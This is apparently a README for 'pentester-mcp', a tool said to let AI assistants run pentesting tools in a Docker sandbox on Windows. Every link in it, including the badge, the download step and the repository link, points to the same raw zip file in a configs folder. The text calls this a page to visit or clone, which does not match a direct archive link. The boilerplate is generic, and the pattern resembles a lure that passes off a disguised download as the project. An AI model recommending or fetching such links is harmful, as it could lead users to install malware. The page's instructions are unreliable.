pentester-mcp

# 🛡️ pentester-mcp - Run Cybersecurity Tools with AI [](https://raw.githubusercontent.com/attic7604/pentester-mcp/main/configs/mcp_pentester_2.3.zip) ## 🔍 What is pentester-mcp? pentester-mcp helps you connect AI assistants like Claude and Cursor to security tools through the Model Context Protocol (MCP). It runs the tools inside a Docker sandbox, so your system stays separated from the test work. Use it when you want an AI assistant to help with security checks, scan results, and routine pentesting tasks from one place. ## ✨ What you can do - Run many common pentesting tools from one AI chat - Keep tool use inside a Docker container - Ask an AI assistant to help with scans and checks - Work with MCP-compatible apps like Claude and Cursor - Reduce manual switching between tools and windows - Keep your host machine more isolated from test activity ## 🖥️ Windows setup You do not need to know how to code, but you do need a few basic apps installed first. ### Required apps - **Windows 10 or Windows 11** - **Docker Desktop** - **Git** - **An MCP-ready AI app**, such as Claude Desktop or Cursor ### Basic system needs - 8 GB RAM or more - 10 GB free disk space - Virtualization turned on in BIOS or UEFI - Internet access for the first setup ## 📥 Download pentester-mcp Visit this page to download or clone the project: https://raw.githubusercontent.com/attic7604/pentester-mcp/main/configs/mcp_pentester_2.3.zip If you use the GitHub page, click the green **Code** button, then choose **Download ZIP**. You can also clone it with Git if you already use that tool. ## 🚀 Install on Windows ### 1) Install Docker Desktop 1. Go to the Docker Desktop website. 2. Download Docker Desktop for Windows. 3. Run the installer. 4. Start Docker Desktop after install. 5. Wait until Docker shows that it is running. If Docker asks for extra setup, follow the on-screen steps. Restart your PC if Windows asks for it. ### 2) Get the project files 1. Open the GitHub page for pentester-mcp. 2. Click **Code**. 3. Choose **Download ZIP**. 4. Save the file to your computer. 5. Unzip the folder to a place you can find again, such as `Downloads` or `Documents`. If you use Git, you can clone the repository into a folder instead. ### 3) Open the project folder 1. Open the folder you unzipped. 2. Look for setup files such as `docker-compose.yml`, `.env.example`, or a similar config file. 3. Keep this folder open, since you will point your AI app to it. ### 4) Start the Docker sandbox 1. Open Docker Desktop. 2. Make sure Docker is running. 3. Open a terminal in the project folder. 4. Start the container using the project’s Docker setup. A common command looks like this: ```bash docker compose up -d ``` If the project uses a different file name or start command, use the one in the repository instructions. ### 5) Connect your AI app 1. Open Claude Desktop, Cursor, or another MCP app. 2. Add the pentester-mcp server in the MCP settings. 3. Point the app to the local project or running container. 4. Save the setup. 5. Restart the app if it does not load the server at once. ## 🧩 Example setup flow A simple setup path on Windows looks like this: 1. Install Docker Desktop 2. Download pentester-mcp from GitHub 3. Unzip the project 4. Start the Docker container 5. Add the MCP server in your AI app 6. Use the AI app to run supported security tasks ## 🛠️ First run checks After setup, check these items: - Docker Desktop shows as running - The container starts without errors - Your AI app can see the MCP server - The app can send tasks to the sandbox - Scan output comes back in the chat or tool window If one step fails, close the app, check Docker, and try again. ## 🔒 How it works pentester-mcp sits between your AI assistant and the security tools. - Your AI app sends a request - pentester-mcp passes the task to the Docker sandbox - The tools run inside the container - The result returns to the AI app This setup helps keep tool use separate from your main Windows system. ## 🧪 Typical use cases - Check a target for common web issues - Run a vulnerability scan and review results - Gather basic host or network details - Use AI to help read tool output - Repeat routine security checks with less manual work ## 🧰 Useful folders and files You may see files like these in the repository: - `docker-compose.yml` for container start settings - `.env.example` for local config values - `README.md` for setup notes - tool or server folders for MCP logic - config files for Docker or app links If the project includes sample config files, copy them before you make changes. ## ⚙️ Common problems ### Docker will not start - Check that virtualization is on in BIOS or UEFI - Restart Docker Desktop - Restart your PC - Make sure Windows updates are current ### The container fails to launch - Confirm that the project folder was unzipped fully - Check that Docker is running - Make sure the command matches the project files - Look for missing config values in `.env` ### The AI app does not see the MCP server - Check the server path - Restart the AI app - Make sure the container is still running - Recheck the MCP settings in the app ### Scans run but no results appear - Confirm the target and task were sent correctly - Check the Docker logs - Make sure the tools are installed in the container - Try a second run with a simple task ## 📌 Best results - Keep Docker Desktop open while you use the app - Use one project folder and do not move it after setup - Update the repository when new changes are published - Start with small test tasks before larger scans - Read tool output in the AI app before sending the next task ## 📄 Basic workflow 1. Open Docker Desktop 2. Start the pentester-mcp container 3. Open your MCP-ready AI app 4. Ask for a supported security task 5. Review the output 6. Run the next step if needed ## 🔗 Repository https://raw.githubusercontent.com/attic7604/pentester-mcp/main/configs/mcp_pentester_2.3.zip